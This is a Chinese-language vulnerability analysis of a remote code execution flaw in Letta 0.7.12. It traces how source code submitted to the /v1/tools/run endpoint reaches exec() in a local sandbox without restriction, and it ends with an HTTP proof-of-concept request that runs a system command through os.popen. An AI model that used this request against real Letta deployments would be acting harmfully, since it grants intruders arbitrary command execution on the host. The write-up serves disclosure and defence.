漏洞来源

影响版本

Letta 0.7.12

漏洞描述

letta-ai Letta 0.7.12 中的 letta.server.rest_api.routers.v1.tools.run_tool_from_source 存在远程代码执行漏洞,允许远程攻击者通过精心构造的有效载荷向 /v1/tools/run 端点执行任意 Python 代码和系统命令,从而绕过预期的沙箱限制。

漏洞成因

位于 /v1/tools/run 的 REST API 端点(定义于 letta/server/rest_api/routers/v1/tools.py)允许客户端提交任意 Python 源码(source_code)和环境变量(env_vars),系统在未进行任何安全校验的情况下,动态构造工具对象并交由本地沙箱执行。

由于默认部署通常未配置 E2B 沙箱密钥,系统会自动回退到不安全的 本地直接执行模式(run_local_dir_sandbox_directly)。该模式在 Letta 服务主进程上下文中通过 exec() 直接运行用户提供的代码,且全局命名空间包含完整的 __builtins__ 和用户可控的环境变量,导致攻击者可执行任意系统命令

漏洞分析

漏洞文件在letta/server/rest_api/routers/v1/tools.py中

@router.post("/run", response_model=ToolReturnMessage, operation_id="run_tool_from_source")
def run_tool_from_source(
    server: SyncServer = Depends(get_letta_server),
    request: ToolRunFromSource = Body(...),
):
    """
    Attempt to build a tool from source, then run it on the provided arguments
    """
    actor = server.user_manager.get_user_or_default(user_id=actor_id)

    try:
        return server.run_tool_from_source(
            tool_source=request.source_code,
            tool_source_type=request.source_type,
            tool_args=request.args,
            tool_env_vars=request.env_vars,
            tool_name=request.name,
            tool_args_json_schema=request.args_json_schema,
            tool_json_schema=request.json_schema,
            actor=actor,
        )
    except LettaToolCreateError as e:
        # HTTP 400 == Bad Request
        print(f"Error occurred during tool creation: {e}")
        # print the full stack trace
        import traceback

        print(traceback.format_exc())
        raise HTTPException(status_code=400, detail=str(e))

    except Exception as e:
        # Catch other unexpected errors and raise an internal server error
        print(f"Unexpected error occurred: {e}")
        raise HTTPException(status_code=500, detail=f"An unexpected error occurred: {str(e)}")

处理请求函数:

def run_tool_from_source(
    server: SyncServer = Depends(get_letta_server),
    request: ToolRunFromSource = Body(...),
):
  • server:通过依赖注入获取全局服务实例。
  • request:从请求体解析为 ToolRunFromSource 模型,包含以下关键字段:
  • source_code: str
  • env_vars: dict
  • args: dict、name: str、source_type: str 等

权限绕过代码

actor = server.user_manager.get_user_or_default(user_id=actor_id)

return server.run_tool_from_source(
    tool_source=request.source_code,
    tool_source_type=request.source_type,
    tool_args=request.args,
    tool_env_vars=request.env_vars,
    tool_name=request.name,
    actor=actor,
)

变量 actor_id在函数作用域中未声明,实际运行会抛出 NameError。但在某些 Letta 版本中,可能通过全局上下文或中间件隐式注入。更常见的是:get_user_or_default() 在无有效用户时返回默认系统用户,该用户通常拥有完整工具执行权限。导致未认证用户可调用此高危接口。直接传递危险参数:

  • tool_source=request.source_code:原始字符串透传;
  • tool_env_vars=request.env_vars:任意字典透传;
  • 这些参数将被送入 server.run_tool_from_source,不做任何过滤。

异常处理

工具创建错误

except LettaToolCreateError as e:
    print(traceback.format_exc())
    raise HTTPException(status_code=400, detail=str(e))

打印完整堆栈(含文件路径、行号、变量值);错误信息返回给客户端

其他意外错误

except Exception as e:
        # Catch other unexpected errors and raise an internal server error
        print(f"Unexpected error occurred: {e}")
        raise HTTPException(status_code=500, detail=f"An unexpected error occurred: {str(e)}")

捕获所有未预期的异常,返回服务器错误状态码

可以看到这个端点直接接收了用户提交的source_code、env_vars等参数并且没有对输入内容进行安全校验。跟踪核心方法 run_tool_from_source方法到 letta/server/server.py中,先来看请求参数

def run_tool_from_source(
        self,
        actor: User,
        tool_args: Dict[str, str],
        tool_source: str,
        tool_env_vars: Optional[Dict[str, str]] = None,
        tool_source_type: Optional[str] = None,
        tool_name: Optional[str] = None,
        tool_args_json_schema: Optional[Dict[str, Any]] = None,
        tool_json_schema: Optional[Dict[str, Any]] = None,
    ) -> ToolReturnMessage:
  • tool_source:原始字符串透传,无任何语法/语义校验;
  • tool_env_vars:可覆盖 PYTHONPATH、LD_PRELOAD 等敏感变量;
  • 所有参数均来自 HTTP 请求体,无过滤。

在看下参数传到哪里去了

if tool_source_type is not None and tool_source_type != "python":
            raise ValueError("Only Python source code is supported at this time")

        # If tools_json_schema is explicitly passed in, override it on the created Tool object
        if tool_json_schema:
            tool = Tool(name=tool_name, source_code=tool_source, json_schema=tool_json_schema)
        else:
            # NOTE: we're creating a floating Tool object and NOT persisting to DB
            tool = Tool(
                name=tool_name,
                source_code=tool_source,
                args_json_schema=tool_args_json_schema,
            )

        assert tool.name is not None, "Failed to create tool object"

        # TODO eventually allow using agent state in tools
        agent_state = None

        # Next, attempt to run the tool with the sandbox
        try:
            tool_execution_result = ToolExecutionSandbox(tool.name, tool_args, actor, tool_object=tool).run(
                agent_state=agent_state, additional_env_vars=tool_env_vars
            )
            return ToolReturnMessage(
                id="null",
                tool_call_id="null",
                date=get_utc_time(),
                status=tool_execution_result.status,
                tool_return=str(tool_execution_result.func_return),
                stdout=tool_execution_result.stdout,
                stderr=tool_execution_result.stderr,
            )

        except Exception as e:
            func_return = get_friendly_error_msg(function_name=tool.name, exception_name=type(e).__name__, exception_message=str(e))
            return ToolReturnMessage(
                id="null",
                tool_call_id="null",
                date=get_utc_time(),
                status="error",
                tool_return=func_return,
                stdout=[],
                stderr=[traceback.format_exc()],

Tool 对象的 source_code 字段直接赋值自tool_source, 首先去验证,目前只有Python代码,其次是创建一个临时的Tool对象,然后初始化执行环境,创建ToolExecutionSandbox实例,调用run()方法来执行工具,最后将执行结果包装成API响应格式。最下面一段代码是异常处理

追踪ToolExecutionSandbox到 letta/services/tool_executor/tool_execution_sandbox.py

这段代码实现了沙箱执行的路由逻辑:若配置了 E2B API 密钥且工具非特权,则使用远程 E2B 沙箱, 调用run_e2b_sandbox()(安全);否则回退到本地沙箱 调用run_local_dir_sandbox()。 最后是返回沙箱执行的结果

跟踪run_local_dir_sandbox

def run_local_dir_sandbox(
        self, agent_state: Optional[AgentState] = None, additional_env_vars: Optional[Dict] = None
    ) -> ToolExecutionResult:
        sbx_config = self.sandbox_config_manager.get_or_create_default_sandbox_config(sandbox_type=SandboxType.LOCAL, actor=self.user)
        local_configs = sbx_config.get_local_config()

        # Get environment variables for the sandbox
        env = os.environ.copy()
        env_vars = self.sandbox_config_manager.get_sandbox_env_vars_as_dict(sandbox_config_id=sbx_config.id, actor=self.user, limit=100)
        env.update(env_vars)

        # Get environment variables for this agent specifically
        if agent_state:
            env.update(agent_state.get_agent_env_vars_as_dict())

        # Finally, get any that are passed explicitly into the `run` function call
        if additional_env_vars:
            env.update(additional_env_vars)

        # Safety checks
        if not os.path.exists(local_configs.sandbox_dir) or not os.path.isdir(local_configs.sandbox_dir):
            logger.warning(f"Sandbox directory does not exist, creating: {local_configs.sandbox_dir}")
            os.makedirs(local_configs.sandbox_dir)

        # Write the code to a temp file in the sandbox_dir
        with tempfile.NamedTemporaryFile(mode="w", dir=local_configs.sandbox_dir, suffix=".py", delete=False) as temp_file:
            if local_configs.use_venv:
                # If using venv, we need to wrap with special string markers to separate out the output and the stdout (since it is all in stdout)
                code = self.generate_execution_script(agent_state=agent_state, wrap_print_with_markers=True)
            else:
                code = self.generate_execution_script(agent_state=agent_state)

            temp_file.write(code)
            temp_file.flush()
            temp_file_path = temp_file.name
        try:
            if local_configs.use_venv:
                return self.run_local_dir_sandbox_venv(sbx_config, env, temp_file_path)
            else:
                return self.run_local_dir_sandbox_directly(sbx_config, env, temp_file_path)
        except Exception as e:
            logger.error(f"Executing tool {self.tool_name} has an unexpected error: {e}")
            logger.error(f"Logging out tool {self.tool_name} auto-generated code for debugging: \n\n{code}")
            raise e
        finally:
            # Clean up the temp file
            os.remove(temp_file_path)

首先是配置获取和环境设置,然后就是环境变量合并策略优先级:additional_env_vars > agent_state > 沙箱配置 > 系统环境;然后就是确保沙箱目录存在,如果不存在自动创建缺失的目录。最终要的是执行策略的选择

try:
            if local_configs.use_venv:
                return self.run_local_dir_sandbox_venv(sbx_config, env, temp_file_path)
            else:
                return self.run_local_dir_sandbox_directly(sbx_config, env, temp_file_path)

venv模式:在虚拟环境中通过子进程执行;

直接模式:在当前进程上下文中执行。

继续追踪run_local_dir_sandbox_directly函数就会发现这里就是最终产生漏洞的地方

这里的话只需要看最重要的代码

try:
            with self.temporary_env_vars(env):

                # Read and compile the Python script
                with open(temp_file_path, "r", encoding="utf-8") as f:
                    source = f.read()
                code_obj = compile(source, temp_file_path, "exec")

                # Provide a dict for globals.
                globals_dict = dict(env)  # or {}
                # If you need to mimic `__main__` behavior:
                globals_dict["__name__"] = "__main__"
                globals_dict["__file__"] = temp_file_path

                # Execute the compiled code
                log_event(name="start exec", attributes={"temp_file_path": temp_file_path})
                exec(code_obj, globals_dict)
                log_event(name="finish exec", attributes={"temp_file_path": temp_file_path})

                # Get result from the global dict
                func_result = globals_dict.get(self.LOCAL_SANDBOX_RESULT_VAR_NAME)
                func_return, agent_state = self.parse_best_effort(func_result)

这里是读取临时文件中的源代码,然后编译代码为字节码,接下来就是准备全局命名空间(包括环境变量和必要的__main__属性),最后执行编译后的代码。

在以上的代码中发现并没有限制全局变量和模块的访问,则会完全信任并执行输入的代码,最后导致了任意代码执行。

漏洞POC

POST /v1/tools/run  HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Content-Length: 223

{ 
"source_code": "def test():n"""Test rce."""n    import osn    return os.popen('whoami').read()", 
"args": {},
"env_vars": {
"PYTHONPATH": "/usr/lib/python3/dist-packages"
},
"name": "test"
}